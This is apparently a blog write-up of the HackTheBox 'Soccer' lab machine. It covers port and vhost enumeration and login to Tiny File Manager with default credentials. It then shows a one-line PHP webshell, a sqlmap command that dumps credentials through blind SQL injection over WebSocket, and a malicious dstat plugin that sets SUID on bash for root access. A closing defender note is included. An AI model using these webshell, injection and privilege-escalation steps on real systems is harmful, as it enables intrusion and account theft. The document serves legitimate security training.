EASY LINUX
Soccer
March 13, 2026 11 min read
SQLiWebSocketFile Upload
Target IP
10.129.1.9
OS
Linux
Difficulty
Easy
Platform
HackTheBox

Recon

Three ports, one of which (9091) didn't immediately identify itself. The web server redirected to soccer.htb — added to hosts first.

$ nmap -sC -sV -oN nmap/initial 10.129.1.9
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
9091/tcp open  xmltcpd?
  
$ echo "10.129.1.9 soccer.htb" >> /etc/hosts
  

Enumeration

Subdomain Discovery

Before diving into the main site I ran a vhost scan to check for subdomains.

$ gobuster vhost -u http://soccer.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
Found: soc-player.soccer.htb (Status: 200) [Size: 3507]
  
$ echo "10.129.1.9 soc-player.soccer.htb" >> /etc/hosts
  

soc-player.soccer.htb is a login/register portal with a ticket verification feature. After registering and logging in, I noticed the ticket checker communicates over WebSocket on port 9091 — the mystery port from nmap.

Tiny File Manager

Directory scan on the main domain found /tiny/ — Tiny File Manager, an open-source PHP web-based file manager.

$ gobuster dir -u http://soccer.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/tiny                 (Status: 301)
  

Tiny File Manager default credentials are admin / admin@123. They worked without any modification.

Foothold

From Tiny File Manager I navigated to /tiny/uploads/ which is web-accessible and writable. I uploaded a PHP webshell.

# create webshell
$ echo '<?php system($_GET["cmd"]); ?>' > shell.php
# upload via Tiny File Manager GUI to /tiny/uploads/
$ curl "http://soccer.htb/tiny/uploads/shell.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
  

Upgraded to a proper reverse shell. Shell as www-data.

Privilege Escalation

Part 1 — WebSocket Blind SQLi → Credentials

The ticket checker at soc-player.soccer.htb sends ticket IDs over WebSocket to a backend that queries MySQL. I tested the ticket ID field for injection using sqlmap's WebSocket support.

Key Finding
WebSocket messages contain a JSON id field passed directly to a MySQL query. Blind time-based SQLi confirmed on the id parameter.
$ sqlmap -u "ws://soc-player.soccer.htb:9091" \
  --data '{"id":"1"}' \
  --dbms mysql \
  -D soccer_db -T accounts --dump \
  --batch
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+
| id   | email             | password             |
+------+-------------------+----------------------+
| 1324 | player@player.htb | PlayerOftheMatch2022 |
+------+-------------------+----------------------+
  
$ ssh player@soccer.htb
player@soccer:~$ id
uid=1001(player) gid=1001(player) groups=1001(player)
  

Part 2 — dstat Plugin Execution

Checked doas configuration (the OpenBSD-derived sudo alternative used here):

player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
  

dstat loads plugins from /usr/local/share/dstat/. If that directory is writable, any Python file placed there becomes a loadable dstat plugin — executed as root via doas.

player@soccer:~$ ls -la /usr/local/share/dstat/
drwxrwxr-x 2 root player 4096 Dec 13  2022 .
  

Writable by the player group. I created a malicious plugin:

player@soccer:~$ cat > /usr/local/share/dstat/dstat_exploit.py << 'EOF'
import os
os.system('chmod u+s /bin/bash')
EOF
player@soccer:~$ doas /usr/bin/dstat --exploit
player@soccer:~$ /bin/bash -p
bash-5.1# id
uid=1001(player) gid=1001(player) euid=0(root) egid=0(root)
  

Flags

User Flag
/home/player/user.txt
Root Flag
/root/root.txt

Lessons Learned

Defender Note
Parameterize all SQL queries — WebSocket endpoints are just as injectable as HTTP ones. Restrict plugin directories to root ownership with no group/other write permissions. Default credentials must be changed on first deployment.
← All Posts